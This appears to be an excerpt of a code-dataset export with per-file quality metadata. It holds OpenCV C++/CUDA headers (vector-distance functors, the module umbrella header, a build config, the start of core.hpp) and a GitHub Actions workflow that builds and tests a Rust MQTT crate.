typedef float value_type;
typedef float result_type;
__device__ __forceinline__ L1Dist() : mySum(0.0f) {}
__device__ __forceinline__ void reduceIter(float val1, float val2)
{
mySum += ::fabs(val1 - val2);
}
template <int THREAD_DIM> __device__ __forceinline__ void reduceAll(float* smem, int tid)
{
reduce<THREAD_DIM>(smem, mySum, tid, plus<float>());
}
__device__ __forceinline__ operator float() const
{
return mySum;
}
float mySum;
};
struct L2Dist
{
typedef float value_type;
typedef float result_type;
__device__ __forceinline__ L2Dist() : mySum(0.0f) {}
__device__ __forceinline__ void reduceIter(float val1, float val2)
{
float reg = val1 - val2;
mySum += reg * reg;
}
template <int THREAD_DIM> __device__ __forceinline__ void reduceAll(float* smem, int tid)
{
reduce<THREAD_DIM>(smem, mySum, tid, plus<float>());
}
__device__ __forceinline__ operator float() const
{
return sqrtf(mySum);
}
float mySum;
};
struct HammingDist
{
typedef int value_type;
typedef int result_type;
__device__ __forceinline__ HammingDist() : mySum(0) {}
__device__ __forceinline__ void reduceIter(int val1, int val2)
{
mySum += __popc(val1 ^ val2);
}
template <int THREAD_DIM> __device__ __forceinline__ void reduceAll(int* smem, int tid)
{
reduce<THREAD_DIM>(smem, mySum, tid, plus<int>());
}
__device__ __forceinline__ operator int() const
{
return mySum;
}
int mySum;
};
// calc distance between two vectors in global memory
template <int THREAD_DIM, typename Dist, typename T1, typename T2>
__device__ void calcVecDiffGlobal(const T1* vec1, const T2* vec2, int len, Dist& dist, typename Dist::result_type* smem, int tid)
{
for (int i = tid; i < len; i += THREAD_DIM)
{
T1 val1;
ForceGlob<T1>::Load(vec1, i, val1);
T2 val2;
ForceGlob<T2>::Load(vec2, i, val2);
dist.reduceIter(val1, val2);
}
dist.reduceAll<THREAD_DIM>(smem, tid);
}
// calc distance between two vectors, first vector is cached in register or shared memory, second vector is in global memory
template <int THREAD_DIM, int MAX_LEN, bool LEN_EQ_MAX_LEN, typename Dist, typename T1, typename T2>
__device__ __forceinline__ void calcVecDiffCached(const T1* vecCached, const T2* vecGlob, int len, Dist& dist, typename Dist::result_type* smem, int tid)
{
vec_distance_detail::VecDiffCachedCalculator<THREAD_DIM, MAX_LEN, LEN_EQ_MAX_LEN>::calc(vecCached, vecGlob, len, dist, tid);
dist.reduceAll<THREAD_DIM>(smem, tid);
}
// calc distance between two vectors in global memory
template <int THREAD_DIM, typename T1> struct VecDiffGlobal
{
explicit __device__ __forceinline__ VecDiffGlobal(const T1* vec1_, int = 0, void* = 0, int = 0, int = 0)
{
vec1 = vec1_;
}
template <typename T2, typename Dist>
__device__ __forceinline__ void calc(const T2* vec2, int len, Dist& dist, typename Dist::result_type* smem, int tid) const
{
calcVecDiffGlobal<THREAD_DIM>(vec1, vec2, len, dist, smem, tid);
}
const T1* vec1;
};
// calc distance between two vectors, first vector is cached in register memory, second vector is in global memory
template <int THREAD_DIM, int MAX_LEN, bool LEN_EQ_MAX_LEN, typename U> struct VecDiffCachedRegister
{
template <typename T1> __device__ __forceinline__ VecDiffCachedRegister(const T1* vec1, int len, U* smem, int glob_tid, int tid)
{
if (glob_tid < len)
smem[glob_tid] = vec1[glob_tid];
__syncthreads();
U* vec1ValsPtr = vec1Vals;
#pragma unroll
for (int i = tid; i < MAX_LEN; i += THREAD_DIM)
*vec1ValsPtr++ = smem[i];
__syncthreads();
}
template <typename T2, typename Dist>
__device__ __forceinline__ void calc(const T2* vec2, int len, Dist& dist, typename Dist::result_type* smem, int tid) const
{
calcVecDiffCached<THREAD_DIM, MAX_LEN, LEN_EQ_MAX_LEN>(vec1Vals, vec2, len, dist, smem, tid);
}
U vec1Vals[MAX_LEN / THREAD_DIM];
};
}}} // namespace cv { namespace cuda { namespace cudev
//! @endcond
#endif // OPENCV_CUDA_VEC_DISTANCE_HPP
| 7,863 | vec_distance | hpp | en | cpp | code | {"qsc_code_num_words": 924, "qsc_code_num_chars": 7863.0, "qsc_code_mean_word_length": 5.15584416, "qsc_code_frac_words_unique": 0.26731602, "qsc_code_frac_chars_top_2grams": 0.07493703, "qsc_code_frac_chars_top_3grams": 0.04848866, "qsc_code_frac_chars_top_4grams": 0.03358522, "qsc_code_frac_chars_dupe_5grams": 0.51532326, "qsc_code_frac_chars_dupe_6grams": 0.44941226, "qsc_code_frac_chars_dupe_7grams": 0.44941226, "qsc_code_frac_chars_dupe_8grams": 0.43429891, "qsc_code_frac_chars_dupe_9grams": 0.42338371, "qsc_code_frac_chars_dupe_10grams": 0.42338371, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01579861, "qsc_code_frac_chars_whitespace": 0.26745517, "qsc_code_size_file_byte": 7863.0, "qsc_code_num_lines": 232.0, "qsc_code_num_chars_line_max": 158.0, "qsc_code_num_chars_line_mean": 33.89224138, "qsc_code_frac_chars_alphabet": 0.81128472, "qsc_code_frac_chars_comments": 0.33943787, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.32608696, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01039661, "qsc_code_frac_chars_long_word_length": 0.0057759, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.16666667, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.23913043, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/opencv.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009-2010, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_ALL_HPP
#define OPENCV_ALL_HPP
// File that defines what modules where included during the build of OpenCV
// These are purely the defines of the correct HAVE_OPENCV_modulename values
#include "opencv2/opencv_modules.hpp"
// Then the list of defines is checked to include the correct headers
// Core library is always included --> without no OpenCV functionality available
#include "opencv2/core.hpp"
// Then the optional modules are checked
#ifdef HAVE_OPENCV_CALIB3D
#include "opencv2/calib3d.hpp"
#endif
#ifdef HAVE_OPENCV_FEATURES2D
#include "opencv2/features2d.hpp"
#endif
#ifdef HAVE_OPENCV_DNN
#include "opencv2/dnn.hpp"
#endif
#ifdef HAVE_OPENCV_FLANN
#include "opencv2/flann.hpp"
#endif
#ifdef HAVE_OPENCV_HIGHGUI
#include "opencv2/highgui.hpp"
#endif
#ifdef HAVE_OPENCV_IMGCODECS
#include "opencv2/imgcodecs.hpp"
#endif
#ifdef HAVE_OPENCV_IMGPROC
#include "opencv2/imgproc.hpp"
#endif
#ifdef HAVE_OPENCV_ML
#include "opencv2/ml.hpp"
#endif
#ifdef HAVE_OPENCV_OBJDETECT
#include "opencv2/objdetect.hpp"
#endif
#ifdef HAVE_OPENCV_PHOTO
#include "opencv2/photo.hpp"
#endif
#ifdef HAVE_OPENCV_STITCHING
#include "opencv2/stitching.hpp"
#endif
#ifdef HAVE_OPENCV_VIDEO
#include "opencv2/video.hpp"
#endif
#ifdef HAVE_OPENCV_VIDEOIO
#include "opencv2/videoio.hpp"
#endif
#endif
| 3,463 | opencv | hpp | en | cpp | code | {"qsc_code_num_words": 473, "qsc_code_num_chars": 3463.0, "qsc_code_mean_word_length": 5.39534884, "qsc_code_frac_words_unique": 0.41014799, "qsc_code_frac_chars_top_2grams": 0.0822884, "qsc_code_frac_chars_top_3grams": 0.07641066, "qsc_code_frac_chars_top_4grams": 0.0799373, "qsc_code_frac_chars_dupe_5grams": 0.20768025, "qsc_code_frac_chars_dupe_6grams": 0.05329154, "qsc_code_frac_chars_dupe_7grams": 0.05329154, "qsc_code_frac_chars_dupe_8grams": 0.05329154, "qsc_code_frac_chars_dupe_9grams": 0.05329154, "qsc_code_frac_chars_dupe_10grams": 0.05329154, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01191287, "qsc_code_frac_chars_whitespace": 0.15160266, "qsc_code_size_file_byte": 3463.0, "qsc_code_num_lines": 95.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 36.45263158, "qsc_code_frac_chars_alphabet": 0.85670524, "qsc_code_frac_chars_comments": 0.72336125, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.31818182, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.2954071, "qsc_code_frac_chars_long_word_length": 0.11586639, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.0, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 1.0, "qsc_codecpp_score_lines_no_logic": 0.34090909, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/cvconfig.h | #ifndef OPENCV_CVCONFIG_H_INCLUDED
#define OPENCV_CVCONFIG_H_INCLUDED
/* OpenCV compiled as static or dynamic libs */
/* #undef BUILD_SHARED_LIBS */
/* OpenCV intrinsics optimized code */
/* #undef CV_ENABLE_INTRINSICS */
/* OpenCV additional optimized code */
#define CV_DISABLE_OPTIMIZATION
/* Compile for 'real' NVIDIA GPU architectures */
#define CUDA_ARCH_BIN ""
/* Create PTX or BIN for 1.0 compute capability */
/* #undef CUDA_ARCH_BIN_OR_PTX_10 */
/* NVIDIA GPU features are used */
#define CUDA_ARCH_FEATURES ""
/* Compile for 'virtual' NVIDIA PTX architectures */
#define CUDA_ARCH_PTX ""
/* AMD's Basic Linear Algebra Subprograms Library*/
/* #undef HAVE_CLAMDBLAS */
/* AMD's OpenCL Fast Fourier Transform Library*/
/* #undef HAVE_CLAMDFFT */
/* Clp support */
/* #undef HAVE_CLP */
/* Cocoa API */
/* #undef HAVE_COCOA */
/* NVIDIA CUDA Runtime API*/
/* #undef HAVE_CUDA */
/* NVIDIA CUDA Basic Linear Algebra Subprograms (BLAS) API*/
/* #undef HAVE_CUBLAS */
/* NVIDIA CUDA Deep Neural Network (cuDNN) API*/
/* #undef HAVE_CUDNN */
/* NVIDIA CUDA Fast Fourier Transform (FFT) API*/
/* #undef HAVE_CUFFT */
/* DirectX */
/* #undef HAVE_DIRECTX */
/* #undef HAVE_DIRECTX_NV12 */
/* #undef HAVE_D3D11 */
/* #undef HAVE_D3D10 */
/* #undef HAVE_D3D9 */
/* Eigen Matrix & Linear Algebra Library */
/* #undef HAVE_EIGEN */
/* Geospatial Data Abstraction Library */
/* #undef HAVE_GDAL */
/* GTK+ 2.0 Thread support */
/* #undef HAVE_GTHREAD */
/* GTK+ 2.x toolkit */
/* #undef HAVE_GTK */
/* Halide support */
/* #undef HAVE_HALIDE */
/* Vulkan support */
/* #undef HAVE_VULKAN */
/* Define to 1 if you have the <inttypes.h> header file. */
/* #undef HAVE_INTTYPES_H */
/* Intel Integrated Performance Primitives */
/* #undef HAVE_IPP */
/* #undef HAVE_IPP_ICV */
/* #undef HAVE_IPP_IW */
/* #undef HAVE_IPP_IW_LL */
/* JPEG-2000 codec */
/* #undef HAVE_JASPER */
/* IJG JPEG codec */
/* #undef HAVE_JPEG */
/* libpng/png.h needs to be included */
/* #undef HAVE_LIBPNG_PNG_H */
/* GDCM DICOM codec */
/* #undef HAVE_GDCM */
/* NVIDIA Video Decoding API*/
/* #undef HAVE_NVCUVID */
/* NVIDIA Video Encoding API*/
/* #undef HAVE_NVCUVENC */
/* OpenCL Support */
/* #undef HAVE_OPENCL */
/* #undef HAVE_OPENCL_STATIC */
/* #undef HAVE_OPENCL_SVM */
/* NVIDIA OpenCL D3D Extensions support */
/* #undef HAVE_OPENCL_D3D11_NV */
/* OpenEXR codec */
/* #undef HAVE_OPENEXR */
/* OpenGL support*/
/* #undef HAVE_OPENGL */
/* PNG codec */
#define HAVE_PNG
/* Posix threads (pthreads) */
/* #undef HAVE_PTHREAD */
/* parallel_for with pthreads */
/* #undef HAVE_PTHREADS_PF */
/* Qt support */
/* #undef HAVE_QT */
/* Qt OpenGL support */
/* #undef HAVE_QT_OPENGL */
/* Intel Threading Building Blocks */
/* #undef HAVE_TBB */
/* Ste||ar Group High Performance ParallelX */
/* #undef HAVE_HPX */
/* TIFF codec */
/* #undef HAVE_TIFF */
/* Win32 UI */
/* #undef HAVE_WIN32UI */
/* Define if your processor stores words with the most significant byte
first (like Motorola and SPARC, unlike Intel and VAX). */
/* #undef WORDS_BIGENDIAN */
/* VA library (libva) */
/* #undef HAVE_VA */
/* Intel VA-API/OpenCL */
/* #undef HAVE_VA_INTEL */
/* Lapack */
/* #undef HAVE_LAPACK */
/* Library was compiled with functions instrumentation */
/* #undef ENABLE_INSTRUMENTATION */
/* OpenVX */
/* #undef HAVE_OPENVX */
/* OpenCV trace utilities */
/* #undef OPENCV_TRACE */
/* Library QR-code decoding */
/* #undef HAVE_QUIRC */
#endif // OPENCV_CVCONFIG_H_INCLUDED
| 3,505 | cvconfig | h | en | c | code | {"qsc_code_num_words": 448, "qsc_code_num_chars": 3505.0, "qsc_code_mean_word_length": 5.07589286, "qsc_code_frac_words_unique": 0.390625, "qsc_code_frac_chars_top_2grams": 0.1939314, "qsc_code_frac_chars_top_3grams": 0.06332454, "qsc_code_frac_chars_top_4grams": 0.03034301, "qsc_code_frac_chars_dupe_5grams": 0.0, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0103377, "qsc_code_frac_chars_whitespace": 0.17203994, "qsc_code_size_file_byte": 3505.0, "qsc_code_num_lines": 167.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 20.98802395, "qsc_code_frac_chars_alphabet": 0.77325982, "qsc_code_frac_chars_comments": 0.89614836, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.0, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
00imvj00/mqttrs | .github/workflows/master.yml | name: Rust
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Build
run: cargo build --verbose
- name: Check
run: cargo fmt -- --check
- name: Run tests
run: cargo test --verbose
- name: Build serde
run: cargo build --verbose --features=derive
- name: Run tests serde
run: cargo test --verbose --features=derive
- name: Build no_std
run: cargo build --verbose --no-default-features
- name: Run tests no_std
run: cargo test --verbose --no-default-features --tests --lib
- name: Build no_std
run: cargo build --verbose --no-default-features --features=derive
- name: Run tests no_std
run: cargo test --verbose --no-default-features --features=derive --tests --lib
- name: Build defmt
run: cargo build --verbose --no-default-features --features=defmt
- name: Run tests defmt
run: cargo test --verbose --no-default-features --features=defmt --tests --lib
- name: Build defmt derive
run: cargo build --verbose --no-default-features --features=defmt --features=derive
- name: Run tests defmt derive
run: cargo test --verbose --no-default-features --features=defmt --features=derive --tests --lib
| 1,345 | master | yml | en | yaml | data | {"qsc_code_num_words": 173, "qsc_code_num_chars": 1345.0, "qsc_code_mean_word_length": 4.95375723, "qsc_code_frac_words_unique": 0.19075145, "qsc_code_frac_chars_top_2grams": 0.12135356, "qsc_code_frac_chars_top_3grams": 0.14935823, "qsc_code_frac_chars_top_4grams": 0.22403734, "qsc_code_frac_chars_dupe_5grams": 0.63477246, "qsc_code_frac_chars_dupe_6grams": 0.53908985, "qsc_code_frac_chars_dupe_7grams": 0.52508751, "qsc_code_frac_chars_dupe_8grams": 0.52508751, "qsc_code_frac_chars_dupe_9grams": 0.47374562, "qsc_code_frac_chars_dupe_10grams": 0.24270712, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00097371, "qsc_code_frac_chars_whitespace": 0.23643123, "qsc_code_size_file_byte": 1345.0, "qsc_code_num_lines": 42.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 32.02380952, "qsc_code_frac_chars_alphabet": 0.83349562, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.16216216, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2015, Intel Corporation, all rights reserved.
// Copyright (C) 2009-2011, Willow Garage Inc., all rights reserved.
// Copyright (C) 2015, OpenCV Foundation, all rights reserved.
// Copyright (C) 2015, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_HPP
#define OPENCV_CORE_HPP
#ifndef __cplusplus
# error core.hpp header must be compiled as C++
#endif
#include "opencv2/core/cvdef.h"
#include "opencv2/core/version.hpp"
#include "opencv2/core/base.hpp"
#include "opencv2/core/cvstd.hpp"
#include "opencv2/core/traits.hpp"
#include "opencv2/core/matx.hpp"
#include "opencv2/core/types.hpp"
#include "opencv2/core/mat.hpp"
#include "opencv2/core/persistence.hpp"
/**
@defgroup core Core functionality
@{
@defgroup core_basic Basic structures
@defgroup core_c C structures and operations
@{
@defgroup core_c_glue Connections with C++
@}
@defgroup core_array Operations on arrays
@defgroup core_async Asynchronous API
@defgroup core_xml XML/YAML Persistence
@defgroup core_cluster Clustering
@defgroup core_utils Utility and system functions and macros
@{
@defgroup core_logging Logging facilities
@defgroup core_utils_sse SSE utilities
@defgroup core_utils_neon NEON utilities
@defgroup core_utils_vsx VSX utilities
@defgroup core_utils_softfloat Softfloat support
@defgroup core_utils_samples Utility functions for OpenCV samples
@}
@defgroup core_opengl OpenGL interoperability
@defgroup core_ipp Intel IPP Asynchronous C/C++ Converters
@defgroup core_optim Optimization Algorithms
@defgroup core_directx DirectX interoperability
@defgroup core_eigen Eigen support
@defgroup core_opencl OpenCL support
@defgroup core_va_intel Intel VA-API/OpenCL (CL-VA) interoperability
@defgroup core_hal Hardware Acceleration Layer
@{
@defgroup core_hal_functions Functions
@defgroup core_hal_interface Interface
@defgroup core_hal_intrin Universal intrinsics
@{
@defgroup core_hal_intrin_impl Private implementation helpers
@}
@defgroup core_lowlevel_api Low-level API for external libraries / plugins
@}
@}
*/
namespace cv {
//! @addtogroup core_utils
//! @{
/*! @brief Class passed to an error.
This class encapsulates all or almost all necessary
information about the error happened in the program. The exception is
usually constructed and thrown implicitly via CV_Error and CV_Error_ macros.
@see error
*/
class CV_EXPORTS Exception : public std::exception
{
public:
/*!
Default constructor
*/
Exception();
/*!
Full constructor. Normally the constructor is not called explicitly.
Instead, the macros CV_Error(), CV_Error_() and CV_Assert() are used.
*/
Exception(int _code, const String& _err, const String& _func, const String& _file, int _line);
virtual ~Exception() throw();
/*!
\return the error description and the context as a text string.
*/
virtual const char *what() const throw() CV_OVERRIDE;
void formatMessage();
String msg; ///< the formatted error message
int code; ///< error code @see CVStatus
String err; ///< error description
String func; ///< function name. Available only when the compiler supports getting it
String file; ///< source file name where the error has occurred
int line; ///< line number in the source file where the error has occurred
};
/*! @brief Signals an error and raises the exception.
By default the function prints information about the error to stderr,
then it either stops if cv::setBreakOnError() had been called before or raises the exception.
It is possible to alternate error processing by using #redirectError().
@param exc the exception raisen.
@deprecated drop this version
*/
CV_EXPORTS CV_NORETURN void error(const Exception& exc);
enum SortFlags { SORT_EVERY_ROW = 0, //!< each matrix row is sorted independently
SORT_EVERY_COLUMN = 1, //!< each matrix column is sorted
//!< independently; this flag and the previous one are
//!< mutually exclusive.
SORT_ASCENDING = 0, //!< each matrix row is sorted in the ascending
//!< order.
SORT_DESCENDING = 16 //!< each matrix row is sorted in the
//!< descending order; this flag and the previous one are also
//!< mutually exclusive.
};
//! @} core_utils
//! @addtogroup core
//! @{
//! Covariation flags
enum CovarFlags {
/** The output covariance matrix is calculated as:
